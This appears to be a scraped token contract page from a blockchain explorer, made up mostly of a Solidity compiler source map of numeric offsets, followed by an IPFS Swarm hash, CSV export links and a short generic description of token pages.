1:-1:-1;1233:1:0;1226:8;;1199:47;1256:9;1268:5;1272:1;1268;:5;:::i;:::-;1256:17;-1:-1:-1;1301:1:0;1292:5;1296:1;1256:17;1292:5;:::i;:::-;:10;1284:56;;;;-1:-1:-1;;;1284:56:0;;12977:2:1;1284:56:0;;;12959:21:1;13016:2;12996:18;;;12989:30;13055:34;13035:18;;;13028:62;-1:-1:-1;;;13106:18:1;;;13099:31;13147:19;;1284:56:0;12775:397:1;1284:56:0;1358:1;1121:246;-1:-1:-1;;;1121:246:0:o;1375:132::-;1433:7;1460:39;1464:1;1467;1460:39;;;;;;;;;;;;;;;;;:3;:39::i;11326:107::-;11383:7;11415:1;11411;:5;11410:15;;11424:1;11410:15;;;-1:-1:-1;11420:1:0;11326:107;-1:-1:-1;11326:107:0:o;558:179::-;616:7;;648:5;652:1;648;:5;:::i;:::-;636:17;;677:1;672;:6;;664:46;;;;-1:-1:-1;;;664:46:0;;13379:2:1;664:46:0;;;13361:21:1;13418:2;13398:18;;;13391:30;13457:29;13437:18;;;13430:57;13504:18;;664:46:0;13177:351:1;745:136:0;803:7;830:43;834:1;837;830:43;;;;;;;;;;;;;;;;;:3;:43::i;1515:223::-;1635:7;1670:12;1663:5;1655:28;;;;-1:-1:-1;;;1655:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1694:9:0;1706:5;1710:1;1706;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:180::-;2959:6;3012:2;3000:9;2991:7;2987:23;2983:32;2980:52;;;3028:1;3025;3018:12;2980:52;-1:-1:-1;3051:23:1;;2900:180;-1:-1:-1;2900:180:1:o;3085:127::-;3146:10;3141:3;3137:20;3134:1;3127:31;3177:4;3174:1;3167:15;3201:4;3198:1;3191:15;3217:416;3306:1;3343:5;3306:1;3357:270;3378:7;3368:8;3365:21;3357:270;;;3437:4;3433:1;3429:6;3425:17;3419:4;3416:27;3413:53;;;3446:18;;:::i;:::-;3496:7;3486:8;3482:22;3479:55;;;3516:16;;;;3479:55;3595:22;;;;3555:15;;;;3357:270;;;3361:3;3217:416;;;;;:::o;3638:806::-;3687:5;3717:8;3707:80;;-1:-1:-1;3758:1:1;3772:5;;3707:80;3806:4;3796:76;;-1:-1:-1;3843:1:1;3857:5;;3796:76;3888:4;3906:1;3901:59;;;;3974:1;3969:130;;;;3881:218;;3901:59;3931:1;3922:10;;3945:5;;;3969:130;4006:3;3996:8;3993:17;3990:43;;;4013:18;;:::i;:::-;-1:-1:-1;;4069:1:1;4055:16;;4084:5;;3881:218;;4183:2;4173:8;4170:16;4164:3;4158:4;4155:13;4151:36;4145:2;4135:8;4132:16;4127:2;4121:4;4118:12;4114:35;4111:77;4108:159;;;-1:-1:-1;4220:19:1;;;4252:5;;4108:159;4299:34;4324:8;4318:4;4299:34;:::i;:::-;4369:6;4365:1;4361:6;4357:19;4348:7;4345:32;4342:58;;;4380:18;;:::i;:::-;4418:20;;3638:806;-1:-1:-1;;;3638:806:1:o;4449:140::-;4507:5;4536:47;4577:4;4567:8;4563:19;4557:4;4536:47;:::i;4594:168::-;4667:9;;;4698;;4715:15;;;4709:22;;4695:37;4685:71;;4736:18;;:::i;4767:356::-;4969:2;4951:21;;;4988:18;;;4981:30;5047:34;5042:2;5027:18;;5020:62;5114:2;5099:18;;4767:356::o;5480:251::-;5550:6;5603:2;5591:9;5582:7;5578:23;5574:32;5571:52;;;5619:1;5616;5609:12;5571:52;5651:9;5645:16;5670:31;5695:5;5670:31;:::i;6657:306::-;6745:6;6753;6761;6814:2;6802:9;6793:7;6789:23;6785:32;6782:52;;;6830:1;6827;6820:12;6782:52;6859:9;6853:16;6843:26;;6909:2;6898:9;6894:18;6888:25;6878:35;;6953:2;6942:9;6938:18;6932:25;6922:35;;6657:306;;;;;:::o;7247:277::-;7314:6;7367:2;7355:9;7346:7;7342:23;7338:32;7335:52;;;7383:1;7380;7373:12;7335:52;7415:9;7409:16;7468:5;7461:13;7454:21;7447:5;7444:32;7434:60;;7490:1;7487;7480:12;10546:125;10611:9;;;10632:10;;;10629:36;;;10645:18;;:::i;11031:135::-;11070:3;11091:17;;;11088:43;;11111:18;;:::i;:::-;-1:-1:-1;11158:1:1;11147:13;;11031:135::o;11171:128::-;11238:9;;;11259:11;;;11256:37;;;11273:18;;:::i;11436:127::-;11497:10;11492:3;11488:20;11485:1;11478:31;11528:4;11525:1;11518:15;11552:4;11549:1;11542:15;11568:980;11830:4;11878:3;11867:9;11863:19;11909:6;11898:9;11891:25;11935:2;11973:6;11968:2;11957:9;11953:18;11946:34;12016:3;12011:2;12000:9;11996:18;11989:31;12040:6;12075;12069:13;12106:6;12098;12091:22;12144:3;12133:9;12129:19;12122:26;;12183:2;12175:6;12171:15;12157:29;;12204:1;12214:195;12228:6;12225:1;12222:13;12214:195;;;12293:13;;-1:-1:-1;;;;;12289:39:1;12277:52;;12384:15;;;;12349:12;;;;12325:1;12243:9;12214:195;;;-1:-1:-1;;;;;;;12465:32:1;;;;12460:2;12445:18;;12438:60;-1:-1:-1;;;12529:3:1;12514:19;12507:35;12426:3;11568:980;-1:-1:-1;;;11568:980:1:o;12553:217::-;12593:1;12619;12609:132;;12663:10;12658:3;12654:20;12651:1;12644:31;12698:4;12695:1;12688:15;12726:4;12723:1;12716:15;12609:132;-1:-1:-1;12755:9:1;;12553:217::o
Swarm Source
ipfs://3c1ab80143096bca7bf2ab56e1dc3222436b99ce40979ba8eba926f98c3b2661
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.